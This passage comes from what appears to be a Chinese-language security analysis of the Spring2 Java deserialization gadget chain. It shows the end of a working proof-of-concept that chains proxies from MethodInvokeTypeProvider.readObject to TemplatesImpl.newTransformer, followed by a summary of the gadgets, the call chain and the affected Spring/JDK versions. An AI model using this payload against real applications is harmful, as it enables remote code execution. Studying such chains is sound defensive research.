		// 使用它来代理一个类,这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
		// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
		// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
		Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
				new Class[]{Type.class, Templates.class}, aopProxy);


		// 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
		HashMap<String, Object> map2 = new HashMap<>();
		map2.put("getType", typeTemplateProxy);

		InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

		Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
		// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
		Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
				new Class[]{typeProviderClass}, newInvocationHandler);


		// 初始化 MethodInvokeTypeProvider
		Class<?>       clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
		Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
		cons.setAccessible(true);
		// 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
		// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
		Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
		Field  field   = clazz2.getDeclaredField("methodName");
		field.setAccessible(true);
		field.set(objects, "newTransformer");

		SerializeUtil.writeObjectToFile(objects, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 Spring2 链分析的全部内容了,如果理解了 Spring1,那看 Spring2 就很简单了,最后总结一下。

  1. 利用说明:
    • 使用 JdkDynamicAopProxy 替换 ObjectFactoryDelegatingInvocationHandler,并完成最终的调用链。
  2. Gadget 总结:
    • kick-off gadget:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
    • chain gadget:org.springframework.aop.framework.JdkDynamicAopProxy#invoke()
  3. 调用链展示:
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
    SerializableTypeWrapper.TypeProvider(Proxy).getType()
	    AnnotationInvocationHandler.invoke()
		    ReflectionUtils.invokeMethod()
			    Templates(Proxy).newTransformer()
				    JdkDynamicAopProxy.invoke()
                        AopUtils.invokeJoinpointUsingReflection()
						    TemplatesImpl.newTransformer()
  1. 依赖版本

spring-core : 4.1.4.RELEASE
spring-aop : 4.1.4.RELEASE
jdk 1.7